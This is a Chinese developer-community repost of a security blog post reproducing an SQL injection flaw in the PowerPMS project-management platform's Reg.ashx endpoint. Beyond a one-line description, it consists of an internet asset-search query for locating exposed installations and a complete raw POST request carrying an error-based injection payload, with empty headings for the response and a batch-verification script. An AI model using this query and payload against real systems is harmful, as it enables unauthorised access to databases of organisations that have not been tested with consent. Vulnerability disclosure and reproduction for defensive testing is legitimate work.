开发者社区

文档建议反馈控制台

文章/答案/技术大牛

发布

社区首页 >专栏 >【漏洞复现】普华科技-PowerPMS Reg.ashx接口存在SQL注入漏洞

【漏洞复现】普华科技-PowerPMS Reg.ashx接口存在SQL注入漏洞

熔城Sec

发布于 2026-07-22 19:45:03

发布于 2026-07-22 19:45:03

430

举报

漏洞描述

普华PowerPMS是一款项目管理信息平台,普华科技-PowerPMS Reg.ashx接口存在SQL注入漏洞。

资产收集

鹰图平台
web.title=="项目管理系统"

发送请求

POST /weixin3.0/Reg.ashx HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Host: 
Content-Length: 23
Content-Type: application/x-www-form-urlencoded

hum=1'and 1<@@VERSION--

返回包

批量验证脚本

本文参与腾讯云自媒体同步曝光计划，分享自微信公众号。

原始发表：2025-10-22，如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自熔城Sec 微信公众号，前往查看

如有侵权，请联系 cloudcommunity@tencent.com 删除。

本文参与腾讯云自媒体同步曝光计划，欢迎热爱写作的你一起参与！

评论

登录后参与评论

0 条评论

热度

最新